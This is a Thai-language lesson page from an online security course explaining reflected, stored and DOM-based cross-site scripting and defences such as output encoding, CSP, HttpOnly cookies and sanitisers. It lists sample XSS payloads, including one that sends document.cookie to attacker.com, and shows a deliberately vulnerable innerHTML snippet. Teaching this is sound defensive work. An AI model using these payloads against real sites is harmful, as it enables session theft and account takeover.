0Pricing
Cyber Security Academy · บทเรียน

Cross-Site Scripting (XSS)

สำรวจ XSS แบบสะท้อนกลับ แบบจัดเก็บ และแบบอาศัย DOM ด้วยเพย์โหลดจริงและมาตรการลดความเสี่ยงของ CSP

Cross-Site Scripting (XSS) เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน

XSS คืออะไร

การโจมตีแบบสคริปต์ข้ามไซต์ (XSS) เกิดขึ้นเมื่อผู้โจมตีแทรก JavaScript ที่เป็นอันตรายลงในหน้าเว็บที่ผู้ใช้อื่นเปิดดู เบราว์เซอร์จะทำงานตามสคริปต์นั้นภายในบริบทเซสชันของเหยื่อ ทำให้ผู้โจมตีสามารถขโมยคุกกี้ บันทึกการกดแป้นพิมพ์ และแก้ไขหน้าเว็บได้

XSS แบบสะท้อนกลับ

XSS แบบสะท้อนกลับ (ไม่คงอยู่): สคริปต์ที่เป็นอันตรายถูกรวมอยู่ในคำขอ (เช่น พารามิเตอร์ในที่อยู่เว็บ) และถูกสะท้อนกลับมาในคำตอบ เหยื่อต้องคลิกลิงก์ที่ผู้โจมตีสร้างขึ้น ตัวอย่าง: https://site.com/search?q=<script>alert(1)</script>

XSS แบบจัดเก็บ

XSS แบบจัดเก็บ (คงอยู่): สคริปต์ที่เป็นอันตรายถูกบันทึกไว้ในฐานข้อมูล (เช่น ความคิดเห็นหรือช่องข้อมูลโพรไฟล์) และถูกส่งให้ผู้เยี่ยมชมทุกคน อันตรายกว่า XSS แบบสะท้อนกลับ เพราะไม่จำเป็นต้องใช้ลิงก์พิเศษ — การเปิดดูหน้าเว็บแต่ละครั้งจะทำให้สคริปต์ทำงาน

XSS ที่อิง DOM

XSS ที่อิง DOM เกิดขึ้นเมื่อ JavaScript อ่านข้อมูลที่ผู้โจมตีควบคุมได้ (แฮชของที่อยู่เว็บหรือพารามิเตอร์คำค้น) แล้วเขียนข้อมูลนั้นลงใน DOM โดยไม่ทำให้ปลอดภัย การโจมตีเกิดขึ้นทั้งหมดที่ฝั่งไคลเอ็นต์ โดยเซิร์ฟเวอร์จะไม่เห็นข้อมูลโจมตีเลย

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

ผลกระทบของ XSS

สิ่งที่ผู้โจมตีสามารถทำได้ด้วย XSS:

  • ขโมยคุกกี้เซสชัน (document.cookie) → ยึดบัญชี
  • บันทึกการกดแป้นพิมพ์ (ขโมยรหัสผ่านขณะที่ผู้ใช้พิมพ์)
  • เปลี่ยนเส้นทางไปยังเว็บไซต์ฟิชชิง
  • ดำเนินการต่าง ๆ ในฐานะเหยื่อ (CSRF ผ่าน XSS)
  • เปลี่ยนแปลงหน้าเว็บ

ข้อมูลโจมตี XSS

ข้อมูลทดสอบอย่างง่าย:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

การเข้ารหัสผลลัพธ์

การป้องกันหลัก: เข้ารหัสผลลัพธ์ทั้งหมดที่ผู้ใช้ควบคุมได้ ก่อนแทรกลงใน HTML เปลี่ยนอักขระพิเศษให้เป็นเอนทิตี HTML: < → &lt;, > → &gt;, " → &quot;

ใช้การเข้ารหัสให้เหมาะกับบริบท: HTML, JS, ที่อยู่เว็บ, CSS

นโยบายความปลอดภัยของเนื้อหา (CSP)

CSP คือส่วนหัวคำตอบที่บอกเบราว์เซอร์ว่าสคริปต์ใดบ้างที่ได้รับอนุญาตให้ทำงาน CSP ที่เข้มงวดจะปิดกั้นสคริปต์ในบรรทัดและจำกัดแหล่งที่มา:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

คุกกี้ HttpOnly

การตั้งค่าแฟล็ก HttpOnly ให้กับคุกกี้เซสชันจะป้องกันไม่ให้ JavaScript อ่านคุกกี้ผ่าน document.cookie แม้ XSS จะทำงาน ผู้โจมตีก็ไม่สามารถขโมยโทเค็นเซสชันได้ นี่คือชั้นการลดความเสี่ยงที่สำคัญที่สุดเมื่อใช้ร่วมกับการเข้ารหัสผลลัพธ์

ไลบรารีทำความสะอาดข้อมูล

เมื่อจำเป็นต้องอนุญาตให้ผู้ใช้ป้อน HTML (เช่น ในเครื่องมือแก้ไขข้อความที่มีรูปแบบ) ให้ใช้ไลบรารีทำความสะอาดข้อมูลแทนการเขียนขึ้นเอง:

  • ดีโอเอ็มเพียวริฟาย (JavaScript)
  • บลีช (ไพทอน)
  • ตัวทำความสะอาด HTML สำหรับ Java ของ OWASP

การทดสอบ XSS

ทดสอบ XSS ด้วยเครื่องมือสำหรับนักพัฒนาของเบราว์เซอร์ เบิร์ปสวีต หรือเครื่องมือสแกนอัตโนมัติ ตรวจสอบช่องข้อมูลทั้งหมดที่รับข้อมูลจากผู้ใช้ พารามิเตอร์ในที่อยู่เว็บ ส่วนหัว HTTP และฟังก์ชันปลายทางของ DOM ได้แก่ innerHTML, document.write, eval และ setTimeout ที่รับอาร์กิวเมนต์ข้อความ

ตรวจสอบอย่างรวดเร็ว: XSS

XSS ประเภทใดที่จัดเก็บข้อมูลโจมตีที่เป็นอันตรายไว้ในฐานข้อมูล ทำให้ข้อมูลนั้นทำงานกับผู้เยี่ยมชมทุกคนของหน้าที่ได้รับผลกระทบ

สรุปบทเรียน

XSS แทรก JavaScript ลงในหน้าที่เหยื่อเปิดดู ประเภทต่าง ๆ ได้แก่ แบบสะท้อนกลับ (อิงที่อยู่เว็บ) แบบจัดเก็บ (คงอยู่ในฐานข้อมูล) และแบบอิง DOM (ฝั่งไคลเอ็นต์) การป้องกันหลัก ได้แก่ การเข้ารหัสผลลัพธ์ คุกกี้ HttpOnly และนโยบายความปลอดภัยของเนื้อหา ใช้ดีโอเอ็มเพียวริฟายเพื่อทำความสะอาด HTML ห้ามแทรกข้อมูลผู้ใช้ที่ไม่ได้ทำให้ปลอดภัยลงใน innerHTML หรือ eval() โดยเด็ดขาด

คำถามที่พบบ่อย

บทเรียน “Cross-Site Scripting (XSS)” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “Cross-Site Scripting (XSS)” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “Cross-Site Scripting (XSS)”

สำรวจ XSS แบบสะท้อนกลับ แบบจัดเก็บ และแบบอาศัย DOM ด้วยเพย์โหลดจริงและมาตรการลดความเสี่ยงของ CSP คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน

บทเรียน “Cross-Site Scripting (XSS)” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม

ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. SQL Injection: ทำงานอย่างไรและเพราะเหตุใด
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. การกำหนดค่าความปลอดภัยผิดพลาดและบริการที่เปิดเผย
← กลับไปที่ Cyber Security Academy